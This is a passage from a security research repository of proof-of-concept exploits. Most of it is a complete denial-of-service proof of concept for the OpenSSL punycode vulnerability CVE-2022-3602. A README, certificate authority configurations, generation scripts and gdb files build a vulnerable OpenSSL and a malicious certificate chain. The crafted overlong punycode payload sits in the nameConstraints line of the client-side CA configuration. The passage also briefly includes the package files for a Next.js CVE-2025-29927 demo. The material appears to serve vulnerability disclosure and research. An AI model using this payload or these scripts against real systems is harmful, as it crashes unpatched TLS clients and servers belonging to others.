"sha512-wS+hAgJShR0KhEvPJArfuPVN1+Hz1t0Y6n5jLrGQbkb4urgPE/0Rve+1kMB1v/oWgHgm4WIcV+i7F2pTVj+2iQ==", 349 | "license": "MIT", 350 | "dependencies": { 351 | "loose-envify": "^1.1.0" 352 | }, 353 | "engines": { 354 | "node": ">=0.10.0" 355 | } 356 | }, 357 | "node_modules/react-dom": { 358 | "version": "18.3.1", 359 | "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-18.3.1.tgz", 360 | "integrity": "sha512-5m4nQKp+rZRb09LNH59GM4BxTh9251/ylbKIbpe7TpGxfJ+9kv6BLkLBXIjjspbgbnIBNqlI23tRnTWT0snUIw==", 361 | "license": "MIT", 362 | "dependencies": { 363 | "loose-envify": "^1.1.0", 364 | "scheduler": "^0.23.2" 365 | }, 366 | "peerDependencies": { 367 | "react": "^18.3.1" 368 | } 369 | }, 370 | "node_modules/scheduler": { 371 | "version": "0.23.2", 372 | "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.23.2.tgz", 373 | "integrity": "sha512-UOShsPwz7NrMUqhR6t0hWjFduvOzbtv7toDH1/hIrfRNIDBnnBWd0CwJTGvTpngVlmwGCdP9/Zl/tVrDqcuYzQ==", 374 | "license": "MIT", 375 | "dependencies": { 376 | "loose-envify": "^1.1.0" 377 | } 378 | }, 379 | "node_modules/source-map-js": { 380 | "version": "1.2.1", 381 | "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", 382 | "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", 383 | "license": "BSD-3-Clause", 384 | "engines": { 385 | "node": ">=0.10.0" 386 | } 387 | }, 388 | "node_modules/streamsearch": { 389 | "version": "1.1.0", 390 | "resolved": "https://registry.npmjs.org/streamsearch/-/streamsearch-1.1.0.tgz", 391 | "integrity": "sha512-Mcc5wHehp9aXz1ax6bZUyY5afg9u2rv5cqQI3mRrYkGC8rW2hM02jWuwjtL++LS5qinSyhj2QfLyNsuc+VsExg==", 392 | "engines": { 393 | "node": ">=10.0.0" 394 | } 395 | }, 396 | "node_modules/styled-jsx": { 397 | "version": "5.1.1", 398 | "resolved": "https://registry.npmjs.org/styled-jsx/-/styled-jsx-5.1.1.tgz", 399 | "integrity": "sha512-pW7uC1l4mBZ8ugbiZrcIsiIvVx1UmTfw7UkC3Um2tmfUq9Bhk8IiyEIPl6F8agHgjzku6j0xQEZbfA5uSgSaCw==", 400 | "license": "MIT", 401 | "dependencies": { 402 | "client-only": "0.0.1" 403 | }, 404 | "engines": { 405 | "node": ">= 12.0.0" 406 | }, 407 | "peerDependencies": { 408 | "react": ">= 16.8.0 || 17.x.x || ^18.0.0-0" 409 | }, 410 | "peerDependenciesMeta": { 411 | "@babel/core": { 412 | "optional": true 413 | }, 414 | "babel-plugin-macros": { 415 | "optional": true 416 | } 417 | } 418 | }, 419 | "node_modules/tslib": { 420 | "version": "2.8.1", 421 | "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", 422 | "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", 423 | "license": "0BSD" 424 | } 425 | } 426 | } 427 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/nextjs-cve-2025-29927/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "next-auth-routes", 3 | "version": "0.1.0", 4 | "private": true, 5 | "scripts": { 6 | "dev": "next dev", 7 | "build": "next build", 8 | "start": "next start", 9 | "lint": "next lint" 10 | }, 11 | "dependencies": { 12 | "react": "^18", 13 | "react-dom": "^18", 14 | "next": "14.2.24" 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/openssl-punycode-vulnerability/README.md: -------------------------------------------------------------------------------- 1 | # OpenSSL punycode vulnerability (CVE-2022-3602) 2 | 3 | Companion blog post: https://securitylabs.datadoghq.com/articles/openssl-november-1-vulnerabilities/ 4 | 5 | This folder contains a proof of concept DoS exploit for the OpenSSL high severity (initially reported as critical) punycode vulnerability tracked as CVE-2022-3602. In this PoC we have a ready-to-use [Vagrant box](#using-vagrant), and a set of [bash scripts](#compile-it-yourself) to help you combile and run the two attack scenarios. 6 | 7 | ![openssl vagrant poc](openssl-vagrant-poc.gif "openssl vagrant poc") 8 | 9 | ## Using Vagrant 10 | 11 | This Vagrant configuration will launch the vagrant environment with: 12 | * A Linux Ubuntu box containing the OpenSSL server with a malicious certificate 13 | * A Windows box with the vulnerable OpenSSL client 14 | 15 | 16 | 1. Run vagrant 17 | ``` 18 | vagrant up 19 | ``` 20 | 21 | 22 | 2. Initiate RDP access to the windows VM 23 | 24 | ``` 25 | vagrant rdp windows 26 | ``` 27 | 28 | 3. Use any RDP client to connect to the windows VM, using the credentials `vagrant` / `vagrant` 29 | 30 | 4. Open the windows command line and navigate to the PoC directory 31 | 32 | ``` 33 | cd C:\Users\vagrant\Documents\WindowsCrash\ 34 | ``` 35 | 36 | We've compiled openssl.exe for you using the official instructions [here](https://github.com/openssl/openssl/blob/master/NOTES-WINDOWS.md#native-builds-using-visual-c++) 37 | 38 | 39 | 5. Connect to the malicious server 40 | 41 | ``` 42 | openssl.exe s_client -connect 192.168.56.3:3000 43 | ``` 44 | 45 | As you will see, this will cause openssl.exe to crash when verifying the malicious certificate. You can see details about the crash in the event viewer. 46 | 47 | ## Compile it yourself 48 | 49 | We provided a set of easy-to-use bash scripts to generate the certificate and run OpenSSL for both scenarios: 50 | 51 | * Malicious client sending crafted certificate to a server which verifies client certificates chain [here](./malicious_client/) 52 | * Malicious server having serving malicious crafted certificates chain to client. Clients will always checks for certificates chain [here](./malicious_server/) 53 | 54 | ## Acknowledgements 55 | 56 | - Eslam Salem 57 | - Frederic Baguelin 58 | - Nick Frichette 59 | - Jeremy Fox 60 | 61 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/README.md: -------------------------------------------------------------------------------- 1 | Several scripts are available to ease the generation of client / server certificates so as to running client / server commands for testing purpose with gdb. 2 | 3 | # run.sh 4 | 5 | ## run_vuln_server 6 | 7 | This is the main command that can bootstrap all the environment. 8 | 9 | ```run.sh run_vuln_server``` 10 | 11 | 1. Fetch OpenSSL source code, statically compile it with debug symbols. It also adds CFLAGS to generate expand files, useful to generate call graph. 12 | 2. Build server certificate chains 13 | 3. Build client certificate chains 14 | 4. start server gdb session with previously openssl binary compiled at step1. Gdb commands will: 15 | * set a breakpoint on the vulnerable function 16 | * run the server command 17 | 18 | Finally as displayed in the script, you just need to trigger the server's vulnerable function with the following command: 19 | 20 | ``` 21 | cd client && ./run_client.sh 22 | ``` 23 | 24 | ## compile 25 | 26 | ```run.sh compile``` 27 | 28 | Fetches OpenSSL source code, statically compiles it with debug symbols. It also adds CFLAGS to generate expand files, useful to generate call graph. 29 | 30 | ## build_client 31 | 32 | ```run.sh build_client``` 33 | 34 | Rebuilds the client certificate chains. Useful if you updated the client configuration and just want to use the new certs. 35 | 36 | ## build_server 37 | 38 | ```run.sh build_server``` 39 | 40 | Behaves like the previous command but server related. 41 | 42 | ## clean / clean_server / clean_client 43 | 44 | ```run.sh clean``` 45 | 46 | These commands will delete all files created at build step. You can clean globally by calling clean, or just for server with clean_server, just for client with clean_client 47 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/client.gdb: -------------------------------------------------------------------------------- 1 | #b nc_match_single 2 | r s_client -connect 127.0.0.1:3000 -key certs/client.key.pem -cert certs/client.cert.pem -CAfile certs/cacert.pem -state 3 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/configs/ca.cnf: -------------------------------------------------------------------------------- 1 | # This definition stops the following lines choking if HOME isn't 2 | # defined. 3 | HOME = . 4 | RANDFILE = $ENV::HOME/.rnd 5 | 6 | # Extra OBJECT IDENTIFIER info: 7 | #oid_file = $ENV::HOME/.oid 8 | oid_section = new_oids 9 | 10 | [ new_oids ] 11 | # Policies used by the TSA examples. 12 | tsa_policy1 = 1.2.3.4.1 13 | tsa_policy2 = 1.2.3.4.5.6 14 | tsa_policy3 = 1.2.3.4.5.7 15 | 16 | #################################################################### 17 | [ ca ] 18 | default_ca = CA_default # The default ca section 19 | 20 | [ CA_default ] 21 | dir = $ENV::PWD # Where everything is kept 22 | certs = $dir/certs # Where the issued certs are kept 23 | database = $dir/index.txt # database index file. 24 | # several certs with same subject. 25 | new_certs_dir = $dir/certs # default place for new certs. 26 | certificate = $dir/certs/cacert.pem # The CA certificate 27 | serial = $dir/serial # The current serial number 28 | crlnumber = $dir/crlnumber # the current crl number 29 | # must be commented out to leave a V1 CRL 30 | private_key = $dir/private/ca.key.pem # The private key 31 | 32 | name_opt = ca_default # Subject Name options 33 | cert_opt = ca_default # Certificate field options 34 | 35 | default_days = 365 # how long to certify for 36 | default_crl_days= 30 # how long before next CRL 37 | default_md = sha256 # use SHA-256 by default 38 | preserve = no # keep passed DN ordering 39 | policy = policy_match 40 | 41 | # For the CA policy 42 | [ policy_match ] 43 | countryName = match 44 | stateOrProvinceName = match 45 | organizationName = match 46 | organizationalUnitName = optional 47 | commonName = supplied 48 | emailAddress = optional 49 | 50 | [ policy_anything ] 51 | countryName = optional 52 | stateOrProvinceName = optional 53 | localityName = optional 54 | organizationName = optional 55 | organizationalUnitName = optional 56 | commonName = supplied 57 | emailAddress = optional 58 | 59 | #################################################################### 60 | [ req ] 61 | default_bits = 2048 62 | default_md = sha256 63 | default_keyfile = privkey.pem 64 | distinguished_name = req_distinguished_name 65 | attributes = req_attributes 66 | x509_extensions = v3_ca # The extentions to add to the self signed cert 67 | 68 | [ req_distinguished_name ] 69 | countryName = Country Name (2 letter code) 70 | countryName_default = FR 71 | countryName_value = FR 72 | countryName_min = 2 73 | countryName_max = 2 74 | stateOrProvinceName = State or Province Name (full name) 75 | stateOrProvinceName_default = IdF 76 | stateOrProvinceName_value = IdF 77 | localityName = Locality Name (eg, city) 78 | localityName_default = Paris 79 | localityName_value = Paris 80 | 0.organizationName = Organization Name (eg, company) 81 | 0.organizationName_default = DataDog 82 | 0.organizationName_value = DataDog 83 | organizationalUnitName = Organizational Unit Name (eg, section) 84 | organizationalUnitName_default = SecurityResearch 85 | organizationalUnitName_value = SecurityResearch 86 | commonName = Common Name (eg, your name or your server\'s hostname) 87 | commonName_max = 64 88 | commonName_value = KraftCert 89 | emailAddress = Email Address 90 | emailAddress_max = 64 91 | emailAddress_value = "" 92 | 93 | [ req_attributes ] 94 | challengePassword = A challenge password 95 | challengePassword_min = 4 96 | challengePassword_max = 20 97 | unstructuredName = An optional company name 98 | 99 | [ v3_req ] 100 | # Extensions to add to a certificate request 101 | basicConstraints = CA:FALSE 102 | keyUsage = nonRepudiation, digitalSignature, keyEncipherment 103 | 104 | [ v3_ca ] 105 | # Extensions for a typical CA 106 | subjectKeyIdentifier=hash 107 | authorityKeyIdentifier=keyid:always,issuer 108 | basicConstraints = critical,CA:true 109 | 110 | # Payload is here 111 | nameConstraints = permitted;email:xn--3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2ba@example.com 112 | 113 | [ crl_ext ] 114 | # issuerAltName=issuer:copy 115 | authorityKeyIdentifier=keyid:always 116 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/configs/client.cnf: -------------------------------------------------------------------------------- 1 | [ req ] 2 | distinguished_name = req_distinguished_name 3 | 4 | [ req_distinguished_name ] 5 | countryName = Country Name (2 letter code) 6 | countryName_default = FR 7 | countryName_value = FR 8 | countryName_min = 2 9 | countryName_max = 2 10 | stateOrProvinceName = State or Province Name (full name) 11 | stateOrProvinceName_default = IdF 12 | stateOrProvinceName_value = IdF 13 | localityName = Locality Name (eg, city) 14 | localityName_default = Paris 15 | localityName_value = Paris 16 | 0.organizationName = Organization Name (eg, company) 17 | 0.organizationName_default = DataDog 18 | 0.organizationName_value = DataDog 19 | organizationalUnitName = Organizational Unit Name (eg, section) 20 | organizationalUnitName_default = SecurityResearch 21 | organizationalUnitName_value = SecurityResearch 22 | commonName = Common Name (eg, your name or your server\'s hostname) 23 | commonName_max = 64 24 | commonName_value = MaliciousClientCert 25 | emailAddress = Email Address 26 | emailAddress_max = 64 27 | emailAddress_value = "" 28 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/configs/client_ext.cnf: -------------------------------------------------------------------------------- 1 | basicConstraints = critical,CA:false 2 | subjectKeyIdentifier = hash 3 | authorityKeyIdentifier = keyid,issuer 4 | nsCertType = client, email 5 | keyUsage = critical, nonRepudiation, digitalSignature, keyEncipherment 6 | extendedKeyUsage = clientAuth, emailProtection 7 | 8 | # Need to define subjectAltName with otherName 9 | subjectAltName = @alts 10 | [alts] 11 | otherName = 1.3.6.1.5.5.7.8.9;FORMAT:UTF8,UTF8String:测试@overflow.com 12 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/gdb_client.sh: -------------------------------------------------------------------------------- 1 | gdb ../openssl/apps/openssl -command=client.gdb 2 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/gen.sh: -------------------------------------------------------------------------------- 1 | rm -rf index.txt serial private certs 2 | touch index.txt 3 | echo 01 > serial 4 | mkdir private certs 5 | 6 | ######################### 7 | # Create CA certificate # 8 | ######################### 9 | 10 | # Generate private key for CA certificate 11 | openssl genrsa -out private/ca.key.pem 2048 12 | # Generate CA certificate 13 | openssl req -new -x509 -days 3650 -config configs/ca.cnf -key private/ca.key.pem -out certs/cacert.pem 14 | 15 | ############################# 16 | # Create Client certificate # 17 | ############################# 18 | 19 | # Generate private key for client certificate 20 | openssl genrsa -out certs/client.key.pem 2048 21 | # Generate CSR for client certificate 22 | openssl req -new -key certs/client.key.pem -config configs/client.cnf -out certs/client.csr 23 | # Create client certificate 24 | openssl ca -config configs/ca.cnf -extfile configs/client_ext.cnf -days 1650 -notext -batch -in certs/client.csr -out certs/client.cert.pem 25 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/run_client.sh: -------------------------------------------------------------------------------- 1 | ../openssl/apps/openssl s_client -connect 127.0.0.1:3000 -key certs/client.key.pem -cert certs/client.cert.pem -CAfile certs/cacert.pem -state 2 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/run.sh: -------------------------------------------------------------------------------- 1 | cwd=$PWD 2 | 3 | compile () { 4 | if [ ! -f $cwd/openssl/apps/openssl ]; then 5 | echo "[+] Compile debug mode version of OpenSSL 3.0.6" 6 | wget https://github.com/openssl/openssl/archive/refs/tags/openssl-3.0.6.zip 7 | unzip openssl-3.0.6.zip 8 | mv openssl-openssl-3.0.6 openssl 9 | cd openssl 10 | ./Configure no-tests -debug -static && sed -i 's/^CFLAGS=.*/CFLAGS=-Wall -Og -g3 -fno-inline-functions -fdump-rtl-expand/' Makefile && make clean && make -j`nproc` 11 | else 12 | echo "[+] OpenSSL 3.0.6 already compiled: SKIP" 13 | fi 14 | } 15 | 16 | build_server () { 17 | cd $cwd/server 18 | ./gen.sh 19 | } 20 | 21 | clean_server () { 22 | echo "cleaning Server certificates" 23 | rm -rf $cwd/server/certs $cwd/server/private $cwd/server/index.* $cwd/server/serial* 24 | } 25 | 26 | build_client () { 27 | cd $cwd/client 28 | ./gen.sh 29 | } 30 | 31 | clean_client () { 32 | echo "cleaning Server certificates" 33 | rm -rf $cwd/client/certs $cwd/client/private $cwd/client/index.* $cwd/client/serial* 34 | } 35 | 36 | clean () { 37 | rm -rf openssl* 38 | clean_client 39 | clean_server 40 | } 41 | 42 | all () { 43 | compile 44 | build_server 45 | build_client 46 | } 47 | 48 | run_vuln_server () { 49 | compile 50 | build_server 51 | build_client 52 | echo -e "\n===================================================================================\n" 53 | echo -e " RUN MALICIOUS CLIENT\n" 54 | echo "Send crafted certificate with the following command in another term:" 55 | echo "cd $cwd/client && ./run_client.sh" 56 | echo -e "\n===================================================================================\n" 57 | cd $cwd/server 58 | ./gdb_vuln_server.sh 59 | } 60 | 61 | if (test $# -eq 1); then 62 | if (test $1 = "clean"); then 63 | clean 64 | elif (test $1 = "compile"); then 65 | compile 66 | elif (test $1 = "build_server"); then 67 | build_server 68 | elif (test $1 = "build_client"); then 69 | build_client 70 | elif (test $1 = "clean_server"); then 71 | clean_server 72 | elif (test $1 = "clean_client"); then 73 | clean_client 74 | elif (test $1 = "all"); then 75 | all 76 | elif (test $1 = "run_vuln_server"); then 77 | run_vuln_server 78 | fi 79 | fi 80 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/server/configs/ca.cnf: -------------------------------------------------------------------------------- 1 | # This definition stops the following lines choking if HOME isn't 2 | # defined. 3 | HOME = . 4 | RANDFILE = $ENV::HOME/.rnd 5 | 6 | # Extra OBJECT IDENTIFIER info: 7 | #oid_file = $ENV::HOME/.oid 8 | oid_section = new_oids 9 | 10 | [ new_oids ] 11 | # Policies used by the TSA examples. 12 | tsa_policy1 = 1.2.3.4.1 13 | tsa_policy2 = 1.2.3.4.5.6 14 | tsa_policy3 = 1.2.3.4.5.7 15 | 16 | #################################################################### 17 | [ ca ] 18 | default_ca = CA_default # The default ca section 19 | 20 | [ CA_default ] 21 | dir = $ENV::PWD # Where everything is kept 22 | certs = $dir/certs # Where the issued certs are kept 23 | database = $dir/index.txt # database index file. 24 | # several certs with same subject. 25 | new_certs_dir = $dir/certs # default place for new certs. 26 | certificate = $dir/certs/cacert.pem # The CA certificate 27 | serial = $dir/serial # The current serial number 28 | crlnumber = $dir/crlnumber # the current crl number 29 | # must be commented out to leave a V1 CRL 30 | private_key = $dir/private/ca.key.pem # The private key 31 | 32 | name_opt = ca_default # Subject Name options 33 | cert_opt = ca_default # Certificate field options 34 | 35 | default_days = 365 # how long to certify for 36 | default_crl_days= 30 # how long before next CRL 37 | default_md = sha256 # use SHA-256 by default 38 | preserve = no # keep passed DN ordering 39 | policy = policy_match 40 | 41 | # For the CA policy 42 | [ policy_match ] 43 | countryName = match 44 | stateOrProvinceName = match 45 | organizationName = match 46 | organizationalUnitName = optional 47 | commonName = supplied 48 | emailAddress = optional 49 | 50 | [ policy_anything ] 51 | countryName = optional 52 | stateOrProvinceName = optional 53 | localityName = optional 54 | organizationName = optional 55 | organizationalUnitName = optional 56 | commonName = supplied 57 | emailAddress = optional 58 | 59 | #################################################################### 60 | [ req ] 61 | default_bits = 2048 62 | default_md = sha256 63 | default_keyfile = privkey.pem 64 | distinguished_name = req_distinguished_name 65 | #attributes = req_attributes 66 | x509_extensions = v3_ca # The extentions to add to the self signed cert 67 | 68 | [ req_distinguished_name ] 69 | countryName = Country Name (2 letter code) 70 | countryName_default = US 71 | countryName_min = 2 72 | countryName_max = 2 73 | countryName_value = US 74 | stateOrProvinceName = State or Province Name (full name) 75 | stateOrProvinceName_default = NY 76 | stateOrProvinceName_value = NY 77 | localityName = Locality Name (eg, city) 78 | localityName_default = NYC 79 | localityName_value = NYC 80 | 0.organizationName = Organization Name (eg, company) 81 | 0.organizationName_default = DataDog 82 | 0.organizationName_value = DataDog 83 | organizationalUnitName = Organizational Unit Name (eg, section) 84 | organizationalUnitName_default = SecurityResearch 85 | organizationalUnitName_value = SecurityResearch 86 | commonName = Common Name (eg, your name or your server\'s hostname) 87 | commonName_max = 64 88 | commonName_value = RootCA 89 | 90 | [ req_attributes ] 91 | challengePassword = A challenge password 92 | challengePassword_min = 4 93 | challengePassword_max = 20 94 | unstructuredName = An optional company name 95 | 96 | [ v3_req ] 97 | # Extensions to add to a certificate request 98 | basicConstraints = CA:FALSE 99 | keyUsage = nonRepudiation, digitalSignature, keyEncipherment 100 | 101 | [ v3_ca ] 102 | # Extensions for a typical CA 103 | subjectKeyIdentifier=hash 104 | authorityKeyIdentifier=keyid:always,issuer 105 | basicConstraints = critical,CA:true 106 | 107 | [ crl_ext ] 108 | # issuerAltName=issuer:copy 109 | authorityKeyIdentifier=keyid:always 110 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/server/configs/server.cnf: -------------------------------------------------------------------------------- 1 | [ req ] 2 | distinguished_name = req_distinguished_name 3 | 4 | [ req_distinguished_name ] 5 | countryName = Country Name (2 letter code) 6 | countryName_default = US 7 | countryName_min = 2 8 | countryName_max = 2 9 | countryName_value = US 10 | stateOrProvinceName = State or Province Name (full name) 11 | stateOrProvinceName_default = NY 12 | stateOrProvinceName_value = NY 13 | localityName = Locality Name (eg, city) 14 | localityName_default = NYC 15 | localityName_value = NYC 16 | 0.organizationName = Organization Name (eg, company) 17 | 0.organizationName_default = DataDog 18 | 0.organizationName_value = DataDog 19 | organizationalUnitName = Organizational Unit Name (eg, section) 20 | organizationalUnitName_default = SecurityResearch 21 | organizationalUnitName_value = SecurityResearch 22 | commonName = Common Name (eg, your name or your server\'s hostname) 23 | commonName_max = 64 24 | commonName_value = server 25 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/server/configs/server_ext.cnf: -------------------------------------------------------------------------------- 1 | basicConstraints = critical,CA:false 2 | subjectKeyIdentifier = hash 3 | authorityKeyIdentifier = keyid,issuer:always 4 | nsCertType = server 5 | keyUsage = critical, digitalSignature, keyEncipherment 6 | extendedKeyUsage = serverAuth 7 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/server/gdb_vuln_server.sh: -------------------------------------------------------------------------------- 1 | gdb ../openssl/apps/openssl -command=server.gdb 2 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/server/gen.sh: -------------------------------------------------------------------------------- 1 | rm -rf index.txt serial private certs 2 | touch index.txt 3 | echo 01 > serial 4 | mkdir private certs 5 | 6 | ######################### 7 | # Create CA certificate # 8 | ######################### 9 | 10 | # Generate private key for CA certificate 11 | openssl genrsa -out private/ca.key.pem 2048 12 | # Generate CA certificate 13 | openssl req -new -x509 -days 3650 -config configs/ca.cnf -key private/ca.key.pem -out certs/cacert.pem 14 | 15 | ############################# 16 | # Create Server certificate # 17 | ############################# 18 | 19 | # Generate private key for client certificate 20 | openssl genrsa -out certs/server.key.pem 2048 21 | # Generate CSR for client certificate 22 | openssl req -new -key certs/server.key.pem -config configs/server.cnf -out certs/server.csr 23 | # Create client certificate 24 | openssl ca -config configs/ca.cnf -extfile configs/server_ext.cnf -days 1650 -notext -batch -in certs/server.csr -out certs/server.cert.pem 25 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/server/run_vuln_server.sh: -------------------------------------------------------------------------------- 1 | ../openssl/apps/openssl s_server -accept 3000 -CAfile certs/cacert.pem -cert certs/server.cert.pem -key certs/server.key.pem -state -verify 1 2 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/server/server.gdb: -------------------------------------------------------------------------------- 1 | #b check_name_constraints 2 | #b nc_match 3 | #b nc_match_single 4 | b ossl_punycode_decode 5 | r s_server -accept 127.0.0.1:3000 -CAfile certs/cacert.pem -cert certs/server.cert.pem -key certs/server.key.pem -state -verify 1 6 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/README.md: -------------------------------------------------------------------------------- 1 | Several scripts are available to ease the generation of server certificates so as to running client / server commands for testing purpose with gdb. 2 | 3 | # run.sh 4 | 5 | ## run_server 6 | 7 | This command bootstraps the malicious server. 8 | 9 | ```run.sh run_server``` 10 | 11 | 1. Fetch OpenSSL 3.0.7 source code, statically compile it with debug symbols. It also adds CFLAGS to generate expand files, useful to generate call graph. 12 | 2. Build server certificate chains 13 | 3. start server with openssl binary compiled at step1. 14 | 15 | ## run_vuln_client 16 | 17 | This command bootstraps the vulnerable client. 18 | 19 | ```run.sh run_vuln_client``` 20 | 21 | 1. Fetch OpenSSL 3.0.6 source code, statically compile it with debug symbols. It also adds CFLAGS to generate expand files, useful to generate call graph. 22 | 2. start client gdb session with openssl binary compiled at step1. Gdb commands will: 23 | * set a breakpoint on the vulnerable function 24 | 25 | ## compile 26 | 27 | ```run.sh compile openssl-3.0.6``` 28 | 29 | Fetches OpenSSL source code based on provided version, statically compiles it with debug symbols. It also adds CFLAGS to generate expand files, useful to generate call graph. 30 | 31 | ## build_server 32 | 33 | ```run.sh build_server``` 34 | 35 | Rebuilds the server certificate chains. Useful if you updated the server configuration and just want to use the new certs. 36 | 37 | ## clean 38 | 39 | ```run.sh clean clean_server``` 40 | 41 | These commands will delete all files created at build step. You can clean globally by calling clean, or just for server with clean_server. 42 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/client/client.gdb: -------------------------------------------------------------------------------- 1 | #b check_name_constraints 2 | #b nc_match 3 | #b nc_match_single 4 | b ossl_punycode_decode 5 | r s_client -connect 127.0.0.1:3000 -state -CAfile ../server/certs/trusted.pem 6 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/client/gdb_client.sh: -------------------------------------------------------------------------------- 1 | gdb ../openssl-3.0.6/apps/openssl -command=client.gdb 2 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/client/run_client.sh: -------------------------------------------------------------------------------- 1 | ../openssl-3.0.6/apps/openssl s_client -connect 127.0.0.1:3000 -state 2 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/run.sh: -------------------------------------------------------------------------------- 1 | cwd=$PWD 2 | 3 | compile () { 4 | if [ ! -f $cwd/$1/apps/openssl ]; then 5 | echo "[+] Compile debug mode version of $1" 6 | wget https://github.com/openssl/openssl/archive/refs/tags/$1.zip 7 | unzip $1.zip 8 | mv openssl-$1 $1 9 | cd $1 10 | ./Configure no-tests -debug -static && sed -i 's/^CFLAGS=.*/CFLAGS=-Wall -Og -g3 -fno-inline-functions -fdump-rtl-expand/' Makefile && make clean && make -j`nproc` 11 | else 12 | echo "[+] $1 already compiled: SKIP" 13 | fi 14 | } 15 | 16 | build_server () { 17 | cd $cwd/server 18 | ./gen.sh 19 | } 20 | 21 | clean_server () { 22 | echo "cleaning Server certificates" 23 | rm -rf $cwd/server/certs $cwd/server/private $cwd/server/index.* $cwd/server/serial* 24 | } 25 | 26 | clean () { 27 | rm -rf openssl* 28 | clean_server 29 | } 30 | 31 | run_server () { 32 | compile openssl-3.0.7 33 | build_server 34 | cd $cwd/server 35 | ./run_server.sh 36 | } 37 | 38 | run_vuln_client () { 39 | compile openssl-3.0.6 40 | cd $cwd/client 41 | ./gdb_client.sh 42 | } 43 | 44 | if (test $# -eq 1); then 45 | if (test $1 = "clean"); then 46 | clean 47 | elif (test $1 = "build_server"); then 48 | build_server 49 | elif (test $1 = "clean_server"); then 50 | clean_server 51 | elif (test $1 = "run_vuln_client"); then 52 | run_vuln_client 53 | elif (test $1 = "run_server"); then 54 | run_server 55 | fi 56 | elif ((test $# -eq 2) && (test $1 = "compile")); then 57 | compile $2 58 | fi 59 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/server/configs/ca.cnf: -------------------------------------------------------------------------------- 1 | # This definition stops the following lines choking if HOME isn't 2 | # defined. 3 | HOME = . 4 | RANDFILE = $ENV::HOME/.rnd 5 | 6 | # Extra OBJECT IDENTIFIER info: 7 | #oid_file = $ENV::HOME/.oid 8 | oid_section = new_oids 9 | 10 | [ new_oids ] 11 | # Policies used by the TSA examples. 12 | tsa_policy1 = 1.2.3.4.1 13 | tsa_policy2 = 1.2.3.4.5.6 14 | tsa_policy3 = 1.2.3.4.5.7 15 | 16 | #################################################################### 17 | [ ca ] 18 | default_ca = CA_default # The default ca section 19 | 20 | [ CA_default ] 21 | dir = $ENV::PWD # Where everything is kept 22 | certs = $dir/certs # Where the issued certs are kept 23 | database = $dir/index.txt # database index file. 24 | # several certs with same subject. 25 | new_certs_dir = $dir/certs # default place for new certs. 26 | certificate = $dir/certs/cacert.pem # The CA certificate 27 | serial = $dir/serial # The current serial number 28 | crlnumber = $dir/crlnumber # the current crl number 29 | # must be commented out to leave a V1 CRL 30 | private_key = $dir/private/ca.key.pem # The private key 31 | 32 | name_opt = ca_default # Subject Name options 33 | cert_opt = ca_default # Certificate field options 34 | 35 | default_days = 365 # how long to certify for 36 | default_crl_days= 30 # how long before next CRL 37 | default_md = sha256 # use SHA-256 by default 38 | preserve = no # keep passed DN ordering 39 | policy = policy_match 40 | 41 | # For the CA policy 42 | [ policy_match ] 43 | countryName = match 44 | 